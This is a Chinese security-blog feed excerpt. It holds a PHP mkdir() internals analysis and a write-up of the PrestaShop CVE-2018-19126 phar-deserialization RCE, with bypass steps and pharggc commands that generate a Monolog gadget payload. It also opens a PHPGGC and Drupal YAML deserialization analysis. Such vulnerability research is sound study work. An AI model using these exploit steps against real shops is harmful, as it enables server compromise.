&lt;p&gt;有关&lt;code&gt;CreateDirectoryW&lt;/code&gt;参考&lt;a href=&#34;https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-createdirectoryw&#34;&gt;Microsoft Doc&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;与&lt;code&gt;CreateDirectoryW&lt;/code&gt;对应的还有&lt;code&gt;CreateDirectoryA&lt;/code&gt;，两个函数功能一样，只是第一个参数的类型不同，一个是&lt;code&gt;LPCWSTR&lt;/code&gt; 另一个是&lt;code&gt;LPCSTR&lt;/code&gt; ，这两者是&lt;code&gt;CHAR&lt;/code&gt; 和&lt;code&gt;WCHAR&lt;/code&gt;的区别 ，详细可以参考&lt;a href=&#34;https://stackoverflow.com/questions/321413/lpcstr-lpctstr-and-lptstr&#34;&gt;StackOverflow&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;现在剩下最关键的一个问题，什么情况下会走&lt;code&gt;virtual_mkdir()&lt;/code&gt;的流程，也就是说&lt;code&gt;VIRTUAL_DIR&lt;/code&gt;是在何处定义的？&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320175730.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;php-7.2.16-src/Zend?zend_virtual_cwd.h&lt;/code&gt;line 41定义了这个变量，前置条件是&lt;code&gt;ZTS&lt;/code&gt;，也就是线程安全的标识，只有在线程安全模式下，才使用&lt;code&gt;virtual_mkdir()&lt;/code&gt;创建目录，调用的系统函数同样是&lt;code&gt;CreateDirectoryW&lt;/code&gt;，但是在此之前得先通过&lt;code&gt;virtual_file_ex()&lt;/code&gt;校验，含有&lt;code&gt;*&lt;/code&gt;和&lt;code&gt;?&lt;/code&gt;则无法创建成功。&lt;/p&gt;

&lt;h3 id=&#34;0x04-流程图&#34;&gt;0x04 流程图&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190321152354.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x05-深入&#34;&gt;0x05 深入&lt;/h3&gt;

&lt;p&gt;现在清楚了&lt;code&gt;php&lt;/code&gt;对&lt;code&gt;mkdir()&lt;/code&gt;的实现，之所以结果不一样是因为&lt;code&gt;ZTS&lt;/code&gt;与&lt;code&gt;NTS&lt;/code&gt;下的两种不同的处理流程，那么为什么在&lt;code&gt;ZTS&lt;/code&gt;模式下，在调用&lt;code&gt;Windows&lt;/code&gt;的&lt;code&gt;API&lt;/code&gt;创建目录之前，需要设置一个“虚拟目录”呢？&lt;/p&gt;

&lt;p&gt;这里涉及到&lt;code&gt;php&lt;/code&gt;内核中的&lt;code&gt;TSRM&lt;/code&gt;机制，也就是&lt;code&gt;线程安全资源管理器(Thread Safe Resource Manager)&lt;/code&gt; ，这个机制的引入是为了解决线程并发的问题，我们知道，如果线程访问的内存地址空间相同，当一个线程修改资源时会影响其它线程，所以为了确保不会出现资源竞争，&lt;code&gt;php&lt;/code&gt;将多个资源复制为多份，每个线程需要的资源在当前进程空间中各有一份，各取所取，这样就不会出现竞争问题。&lt;/p&gt;

&lt;p&gt;那么不同线程怎么获取自身所需要的资源呢？&lt;code&gt;php&lt;/code&gt;中通过&lt;code&gt;ts_allocate_id()&lt;/code&gt;函数实现， 这个函数的作用就是遍历所有线程，为每一个分配一个&lt;code&gt;线程安全资源id&lt;/code&gt;，每一次调用&lt;code&gt;ts_allocate_id()&lt;/code&gt;函数时，都会执行这个操作，而为了避免重复分配，这个过程是在调用模块初始化的时候就完成了&lt;/p&gt;

&lt;p&gt;&lt;code&gt;TSRMG&lt;/code&gt;的定义如下，其中&lt;code&gt;tsrm_get_ls_cache()&lt;/code&gt;有多个定义，但功能是一样的，就是根据资源id的&lt;code&gt;tls_key&lt;/code&gt;取出相应&lt;code&gt;value&lt;/code&gt;的过程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;#define TSRMG(id, type, element)	(TSRMG_BULK(id, type)-&amp;gt;element)
#define TSRMG_BULK(id, type)	((type) (*((void ***) tsrm_get_ls_cache()))[TSRM_UNSHUFFLE_RSRC_ID(id)])

# define tsrm_tls_get()			pthread_getspecific(tls_key)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在启动&lt;code&gt;cli&lt;/code&gt;或者&lt;code&gt;cgi&lt;/code&gt;时，都会通过&lt;code&gt;SAPI&lt;/code&gt;调用&lt;code&gt;tsrm_startup()&lt;/code&gt;启动&lt;code&gt;TSRM&lt;/code&gt; ，随后进行模块初始化，在这个过程中分配资源id，初始化时的调用栈如下图所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190321140835.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当非ZTS模式时，线程直接调用全局变量的属性， 而ZTS模式设置“虚拟目录”的概念其实就是“根据资源id查找所需的全局变量”的过程，本质上是为了避免线程间资源读取出现竞争，保证了线程安全。&lt;/p&gt;

&lt;h3 id=&#34;0x06-总结&#34;&gt;0x06 总结&lt;/h3&gt;

&lt;p&gt;本文通过&lt;code&gt;php&lt;/code&gt;中&lt;code&gt;mkdir()&lt;/code&gt;函数在不同环境下表现结果不一致的现象，分析了&lt;code&gt;php&lt;/code&gt;内核对&lt;code&gt;mkdir()&lt;/code&gt;函数的实现，引申出&lt;code&gt;php&lt;/code&gt;中线程安全与非线程安全两个重要的机制，抛砖引玉，如有表述不妥或者错误之处欢迎指正，最后感谢@maple提出最初的问题以及探讨过程中给予的莫大的帮助。&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://php.net/manual/en/function.mkdir.php&#34;&gt;http://php.net/manual/en/function.mkdir.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://blog.codinglabs.org/articles/zend-thread-safety.html&#34;&gt;http://blog.codinglabs.org/articles/zend-thread-safety.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://segmentfault.com/a/1190000010004035&#34;&gt;https://segmentfault.com/a/1190000010004035&lt;/a&gt;&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>PrestaShop后台远程代码执行漏洞分析(CVE-2018-19126)</title>
      <link>https://kylingit.com/blog/prestashop%E5%90%8E%E5%8F%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90cve-2018-19126/</link>
      <pubDate>Wed, 19 Dec 2018 16:48:02 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/prestashop%E5%90%8E%E5%8F%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90cve-2018-19126/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h4 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h4&gt;

&lt;blockquote&gt;
&lt;p&gt;PrestaShop是一款针对web2.0设计的全功能、跨平台的免费开源电子商务解决方案，自08年1.0版本发布，短短两年时间，发展迅速，全球已超过四万家网店采用Prestashop进行部署。Prestashop基于Smarty引擎编程设计，模块化设计，扩展性强，能轻易实现多种语言，多种货币浏览交易，支持Paypal等几乎所有的支付手段，是外贸网站建站的佳选。Prestashop是目前为止，操作最简单，最人性化，用户体验最佳的电子商务解决方案之一。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;11月7日 PrestaShop 官方发布新版本，修复两个高危漏洞，其中&lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2018-19126&#34;&gt;CVE-2018-19126&lt;/a&gt;允许攻击者通过上传精心构造的文件导致任意代码执行，&lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2018-19125&#34;&gt;CVE-2018-19125&lt;/a&gt;则导致攻击者删除服务器上的默认图片上传文件夹。&lt;/p&gt;

&lt;p&gt;公告：&lt;a href=&#34;http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/&#34;&gt;http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;补丁：&lt;a href=&#34;https://github.com/PrestaShop/PrestaShop/pull/11287&#34;&gt;https://github.com/PrestaShop/PrestaShop/pull/11287&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;由于该漏洞触发需要后台上传权限，在这个系统中有上传权限的角色包括物流员、翻译者、销售人员，所以漏洞影响面还是有限。&lt;/p&gt;

&lt;h4 id=&#34;0x02-影响版本&#34;&gt;0x02 影响版本&lt;/h4&gt;

&lt;blockquote&gt;
&lt;p&gt;1.6.x before 1.6.1.23&lt;/p&gt;

&lt;p&gt;1.7.x before 1.7.4.4&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4 id=&#34;0x03-环境搭建&#34;&gt;0x03 环境搭建&lt;/h4&gt;

&lt;p&gt;下载&lt;code&gt;1.7.4.3&lt;/code&gt;版本并安装&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip&#34;&gt;https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;在安装过程中会强制要求修改默认后台路径&lt;code&gt;admin&lt;/code&gt;，同时要求删除&lt;code&gt;install&lt;/code&gt;文件夹，从安全角度来讲，这是一个好设计：）&lt;/p&gt;

&lt;p&gt;此案例中后台路径命名为&lt;code&gt;/admin-rename/&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h4&gt;

&lt;p&gt;根据&lt;a href=&#34;https://github.com/PrestaShop/PrestaShop/pull/11287/commits/4c6958f40cf7faa58207a203f3a5523cc8015148&#34;&gt;补丁&lt;/a&gt;位置显示漏洞出现在后台处理文件上传的模块，在&lt;code&gt;admin-dev/filemanager/ajax_calls.php&lt;/code&gt;的&lt;code&gt;image_size&lt;/code&gt;case分支，新版本直接删除了这段代码，其中最值得怀疑的是&lt;code&gt;getimagesize()&lt;/code&gt;函数，在10月份披露的国外轻量级开源论坛系统&lt;code&gt;Vanilla Forums&lt;/code&gt;就是因为该函数导致了一个远程代码执行漏洞，详细可以看&lt;a href=&#34;https://srcincite.io/blog/2018/10/02/old-school-pwning-with-new-school-tricks-vanilla-forums-remote-code-execution.html&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;那么&lt;code&gt;getimagesize()&lt;/code&gt;函数存在什么问题呢？在今年的&lt;code&gt;BlackHat&lt;/code&gt;大会上由&lt;code&gt;Sam Thomas&lt;/code&gt;分享的反序列化漏洞议题主要讲了被忽略的&lt;code&gt;phar://&lt;/code&gt;协议导致的&lt;code&gt;phar&lt;/code&gt;反序列化漏洞，此前也简单介绍了一下这个议题，参考&lt;a href=&#34;https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/&#34;&gt;由PHPGGC理解PHP反序列化漏洞&lt;/a&gt;，在这里面提到一些在解析&lt;code&gt;phar://&lt;/code&gt;协议时会产生风险的常用函数，如下图&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539063733837.png&#34; alt=&#34;1539063733837&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;getimagesize()&lt;/code&gt;同样存在这个问题，当调用&lt;code&gt;getimagesize(&#39;phar://some/phar.ext&#39;);&lt;/code&gt;的时候，&lt;code&gt;php&lt;/code&gt;解析&lt;code&gt;phar&lt;/code&gt;文件时会进行反序列化，如果其内容是恶意构造的，就能达到任意代码执行的效果&lt;/p&gt;

&lt;p&gt;风险点找到了，接下来看一下如何触发漏洞&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ajax_calls.php&lt;/code&gt;在&lt;code&gt;filemanager&lt;/code&gt;模块下面，通过&lt;code&gt;http://host/admin-rename/filemanager/dialog.php&lt;/code&gt;页面调用，这个页面主要功能就是上传文件，以及创建文件夹，文件排序、删除等等，通过&lt;code&gt;action&lt;/code&gt;参数控制操作，所以可以直接通过&lt;code&gt;action=image_size&lt;/code&gt;访问到漏洞触发点&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;dialog.php&lt;/code&gt;开头设置了一个&lt;code&gt;verify&lt;/code&gt;字段&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$_SESSION[&amp;quot;verify&amp;quot;] = &amp;quot;RESPONSIVEfilemanager&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而在页面检查了这个字段的值，所以无法直接访问&lt;code&gt;ajax_calls.php&lt;/code&gt;页面，必须先访问&lt;code&gt;dialog.php&lt;/code&gt;，目的应该是为了保证文件操作都是从&lt;code&gt;dialog.php&lt;/code&gt;页面进行的吧&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if ($_SESSION[&#39;verify&#39;] != &#39;RESPONSIVEfilemanager&#39;) {
    die(&#39;Forbidden&#39;);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后我们就可以上传一个&lt;code&gt;phar&lt;/code&gt;文件，当然系统限制文件后缀只能在白名单内&lt;code&gt;&#39;jpg&#39;, &#39;jpeg&#39;, &#39;png&#39;, &#39;gif&#39;, &#39;bmp&#39;, &#39;tiff&#39;, &#39;svg&#39;, &#39;pdf&#39;, &#39;mov&#39;, &#39;mpeg&#39;, &#39;mp4&#39;, &#39;avi&#39;, &#39;mpg&#39;, &#39;wma&#39;, &#39;flv&#39;, &#39;webm&#39;&lt;/code&gt;，所以需要将&lt;code&gt;phar&lt;/code&gt;文件重命名符合要求的后缀。由于在&lt;code&gt;phar://&lt;/code&gt;解析时只要满足&lt;code&gt;phar&lt;/code&gt;文件标识，即文件头必须以&lt;code&gt;__HALT_COMPILER();?&amp;gt;&lt;/code&gt;结尾，所以并不限制文件后缀。此处也有一个技巧，我们可以创建一个合法的&lt;code&gt;jpeg&lt;/code&gt;文件，同时又是一个&lt;code&gt;phar&lt;/code&gt;文件，这个文件甚至可以绕过&lt;code&gt;MIME&lt;/code&gt;检查，关于这个技巧可以参考&lt;a href=&#34;https://www.nc-lp.com/blog/disguise-phar-packages-as-images&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;接下来具体看&lt;code&gt;image_size&lt;/code&gt;分支&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;case &#39;image_size&#39;:
    if (realpath(dirname(_PS_ROOT_DIR_.$_POST[&#39;path&#39;])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
        die();
    }
    $pos = strpos($_POST[&#39;path&#39;], $upload_dir);
    if ($pos !== false) {
        $info = getimagesize(substr_replace($_POST[&#39;path&#39;], $current_path, $pos, strlen($upload_dir)));
        echo json_encode($info);
    }

    break;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;第一个&lt;code&gt;if&lt;/code&gt;条件，检查&lt;code&gt;path&lt;/code&gt;参数的绝对路径是否和系统定义的&lt;code&gt;upload_dir&lt;/code&gt;绝对路径相等，&lt;code&gt;upload_dir&lt;/code&gt;的值是&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$upload_dir = Context::getContext()-&amp;gt;shop-&amp;gt;getBaseURI().&#39;img/cms/&#39;; // path from base_url to base of upload folder (with start and final /)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而我们要&lt;code&gt;post&lt;/code&gt;的&lt;code&gt;path&lt;/code&gt;参数是这个样子&lt;code&gt;phar://path/phar.jpg&lt;/code&gt;，显然无法通过判断。这时候考虑一下，假如我们把默认上传路径修改了，比如改成&lt;code&gt;img/test/&lt;/code&gt;，那么系统就会找不到&lt;code&gt;img/cms/&lt;/code&gt;这个路径，&lt;code&gt;realpath&lt;/code&gt;返回结果为&lt;code&gt;false&lt;/code&gt;，那么就可以绕过这个条件。&lt;/p&gt;

&lt;p&gt;那么什么办法可以修改这个路径呢？&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;admin-rename/filemanager/execute.php&lt;/code&gt;文件可以看到有一些文件及文件夹操作，允许用户删除或者重命名文件夹，通过&lt;code&gt;action&lt;/code&gt;和&lt;code&gt;name&lt;/code&gt;参数我们可以将默认的&lt;code&gt;img/cms/&lt;/code&gt;修改成自定义文件夹，甚至可以删除这个路径，这也就是&lt;code&gt;CVE-2018-19125&lt;/code&gt;这个漏洞的触发位置。&lt;/p&gt;

&lt;p&gt;接下来看第2个条件&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$pos = strpos($_POST[&#39;path&#39;], $upload_dir);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此处只要让&lt;code&gt;path&lt;/code&gt;参数包含&lt;code&gt;img/cms/&lt;/code&gt;字符串即可，这样经过后面的替换和拼接，&lt;code&gt;path&lt;/code&gt;就类似于&lt;code&gt;phar://img/test/phar.pdf/var/www/html/img/cms/&lt;/code&gt;，不影响&lt;code&gt;phar&lt;/code&gt;解析&lt;/p&gt;

&lt;p&gt;&lt;code&gt;phar&lt;/code&gt;文件最终进入&lt;code&gt;getimagesize()&lt;/code&gt;，如果序列化一个可以执行任意代码的类，生成恶意的&lt;code&gt;phar&lt;/code&gt;文件，构造一条完整的&lt;code&gt;POP&lt;/code&gt;链，就可以形成一个&lt;code&gt;RCE&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;PrestaShop&lt;/code&gt;项目中存在&lt;code&gt;Monolog&lt;/code&gt;，这是&lt;code&gt;php&lt;/code&gt;下一个日志记录类库， 在这个库中的&lt;code&gt;BufferHandler&lt;/code&gt;类的&lt;code&gt;handle&lt;/code&gt;函数有一段存在风险的代码&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;public function handle(array $record){
    //...
	if ($this-&amp;gt;processors) {
    	foreach ($this-&amp;gt;processors as $processor) {
        	$record = call_user_func($processor, $record);
    	}
	}
    //...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果&lt;code&gt;$this-&amp;gt;processors&lt;/code&gt;和&lt;code&gt;$record&lt;/code&gt;均可控的话，就可以造成一个命令执行，所以我们可以序列化这个类构造&lt;code&gt;POP&lt;/code&gt;链&lt;/p&gt;

&lt;h4 id=&#34;0x05-漏洞利用&#34;&gt;0x05 漏洞利用&lt;/h4&gt;

&lt;h5 id=&#34;一-生成phar文件&#34;&gt;一、生成phar文件&lt;/h5&gt;

&lt;p&gt;我们利用之前介绍过的&lt;a href=&#34;https://github.com/s-n-t/phpggc&#34;&gt;PHARGGC&lt;/a&gt;工具生成一个包含&lt;code&gt;POP&lt;/code&gt;链的&lt;code&gt;phar&lt;/code&gt;文件，选择&lt;code&gt;Monolog/RCE1&lt;/code&gt;，看一下这个&lt;code&gt;gadget&lt;/code&gt;的使用&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;&amp;gt; pharggc -i Monolog/RCE1
Name           : Monolog/RCE1
Version        : 1.18 &amp;lt;= 1.23
Type           :
Vector         : __destruct

./pharggc Monolog/RCE1 &amp;lt;code&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;生成一个&lt;code&gt;out.phar&lt;/code&gt;，并重命名成&lt;code&gt;out.png&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;&amp;gt; pharggc Monolog/RCE1 &amp;quot;phpinfo();&amp;quot;
Payload written to: out.phar
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后通过&lt;code&gt;http://host/admin-rename/filemanager/dialog.php&lt;/code&gt;上传到服务器上&lt;/p&gt;

&lt;h5 id=&#34;二-重命名默认上传目录&#34;&gt;二、重命名默认上传目录&lt;/h5&gt;

&lt;p&gt;通过&lt;code&gt;http://host/admin-rename/filemanager/execute.php?action=rename_folder&lt;/code&gt;重命名默认上传目录&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20181220111941.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h5 id=&#34;三-发送payload&#34;&gt;三、发送payload&lt;/h5&gt;

&lt;p&gt;通过&lt;code&gt;path&lt;/code&gt;参数传入上传的&lt;code&gt;phar&lt;/code&gt;文件，&lt;code&gt;getimagesize()&lt;/code&gt;自动解析&lt;code&gt;phar&lt;/code&gt;，触发反序列化&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20181220103714.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;0x06-补丁分析&#34;&gt;0x06 补丁分析&lt;/h4&gt;

&lt;p&gt;补丁位置：&lt;a href=&#34;https://github.com/PrestaShop/PrestaShop/pull/11287&#34;&gt;https://github.com/PrestaShop/PrestaShop/pull/11287&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20181220105842.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;官方对这两处漏洞做了修复，一方面是直接删除了&lt;code&gt;case &#39;image_size&#39;&lt;/code&gt;分支，一方面也严格检查了文件&lt;code&gt;mime&lt;/code&gt;类型，同时对&lt;code&gt;realpath&lt;/code&gt;检查时限制了必须是已存在的目录&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20181220110721.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20181220110815.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;0x07-总结&#34;&gt;0x07 总结&lt;/h4&gt;

&lt;p&gt;这个漏洞触发流程并不复杂，几个限制也能简单地绕过，关键在于某些函数没有考虑到传入&lt;code&gt;phar://&lt;/code&gt;的情况，在解析该协议时产生反序列化漏洞。另外值得注意的是，&lt;code&gt;php.ini&lt;/code&gt;中&lt;code&gt;phar.readonly = On&lt;/code&gt;选项并不会影响&lt;code&gt;phar&lt;/code&gt;解析，没有关闭此选项(默认为&lt;code&gt;On&lt;/code&gt;)依旧会导致漏洞触发，近段时间以来基于&lt;code&gt;phar&lt;/code&gt;的漏洞也在逐渐增加，希望能够引起开发者的重视。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>由PHPGGC理解PHP反序列化漏洞</title>
      <link>https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/</link>
      <pubDate>Mon, 08 Oct 2018 14:43:41 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h2 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/ambionics/phpggc&#34;&gt;PHPGGC&lt;/a&gt;是一款能够自动生成主流框架的序列化测试&lt;code&gt;payload&lt;/code&gt;的工具，类似Java中的&lt;a href=&#34;https://github.com/frohoff/ysoserial&#34;&gt;ysoserial&lt;/a&gt;，当前支持的框架包括&lt;code&gt;Doctrine&lt;/code&gt;, &lt;code&gt;Guzzle&lt;/code&gt;, &lt;code&gt;Laravel&lt;/code&gt;, &lt;code&gt;Magento&lt;/code&gt;, &lt;code&gt;Monolog&lt;/code&gt;, &lt;code&gt;Phalcon&lt;/code&gt;, &lt;code&gt;Slim&lt;/code&gt;, &lt;code&gt;SwiftMailer&lt;/code&gt;, &lt;code&gt;Symfony&lt;/code&gt;, &lt;code&gt;Yii&lt;/code&gt; 和 &lt;code&gt;ZendFramework&lt;/code&gt;，可以说是反序列化的武器库了。本文从该工具出发，以Drupal Yaml反序列化漏洞和Typo3反序列化漏洞为例，分析其中的多种利用方式，并介绍一下今年BlackHat议题关于新型php反序列化攻击的部分。&lt;/p&gt;

&lt;h2 id=&#34;0x02-drupal-yaml反序列化漏洞&#34;&gt;0x02 Drupal Yaml反序列化漏洞&lt;/h2&gt;

&lt;h3 id=&#34;一-介绍&#34;&gt;一、介绍&lt;/h3&gt;

&lt;p&gt;关于&lt;code&gt;Drupal&lt;/code&gt;就不过多介绍了，前阵子两个RCE漏洞杀伤力巨大，这次介绍的是去年披露的关于反序列化的漏洞，&lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2017-6920&#34;&gt;CVE-2017-6920&lt;/a&gt;，官方描述是YAML解析器处理不当导致的一个远程代码执行漏洞&lt;/p&gt;

&lt;blockquote&gt;
&lt;h3 id=&#34;pecl-yaml-parser-unsafe-object-handling-critical-drupal-8-cve-2017-6920&#34;&gt;PECL YAML parser unsafe object handling - Critical - Drupal 8 - CVE-2017-6920&lt;/h3&gt;

&lt;p&gt;PECL YAML parser does not handle PHP objects safely during certain operations within Drupal core. This could lead to remote code execution.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;详情见&lt;a href=&#34;https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple&#34;&gt;SA-CORE-2017-003&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;二-漏洞分析&#34;&gt;二、漏洞分析&lt;/h3&gt;

&lt;p&gt;先来看一下补丁，diff 8.3.3 和 8.3.4 版本，主要修改点在&lt;code&gt;core/lib/Drupal/Component/Serialization/YamlPecl.php&lt;/code&gt;文件&lt;code&gt;decode&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1538990057077.png&#34; alt=&#34;1538990057077&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可见在&lt;code&gt;yaml_parse&lt;/code&gt;前进行了&lt;code&gt;ini_set(&#39;yaml.decode_php&#39;, 0);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;用户可控制的参数&lt;code&gt;$raw&lt;/code&gt;直接传给了&lt;code&gt;yaml_parse&lt;/code&gt;函数，而在手册上关于&lt;code&gt;yaml_parse&lt;/code&gt;函数有这么一个注意点：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Warning&lt;/p&gt;

&lt;p&gt;Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;也就是说，如果使用了&lt;code&gt;yaml&lt;/code&gt;标志&lt;code&gt;!php/object&lt;/code&gt;，那么这个内容会通过&lt;code&gt;unserialize()&lt;/code&gt;进行处理，设置&lt;code&gt;yaml.decode_php&lt;/code&gt;则可以禁止，这就是为什么补丁增加了这行代码。&lt;/p&gt;

&lt;p&gt;看一下调用&lt;code&gt;decode()&lt;/code&gt;方法的地方，&lt;code&gt;core/lib/Drupal/Component/Serialization/Yaml.php&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;public static function decode($raw) {
    $serializer = static::getSerializer();
    return $serializer::decode($raw);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在&lt;code&gt;Yaml&lt;/code&gt;类的&lt;code&gt;decode()&lt;/code&gt;方法调用了&lt;code&gt;static::getSerializer()&lt;/code&gt;方法，跟入&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1538993007544.png&#34; alt=&#34;1538993007544&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到加载了&lt;code&gt;yaml&lt;/code&gt;扩展后就会进入&lt;code&gt;YamlPecl&lt;/code&gt;类，进而调用&lt;code&gt;Yaml::decode()&lt;/code&gt;方法，搜索调用&lt;code&gt;Yaml::decode&lt;/code&gt;并且参数能被控制的地方，在&lt;code&gt;core/modules/config/src/Form/ConfigSingleImportForm.php&lt;/code&gt;的&lt;code&gt;validateForm()&lt;/code&gt;方法：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$data = Yaml::decode($form_state-&amp;gt;getValue(&#39;import&#39;));
&lt;/code&gt;&lt;/pre&gt;

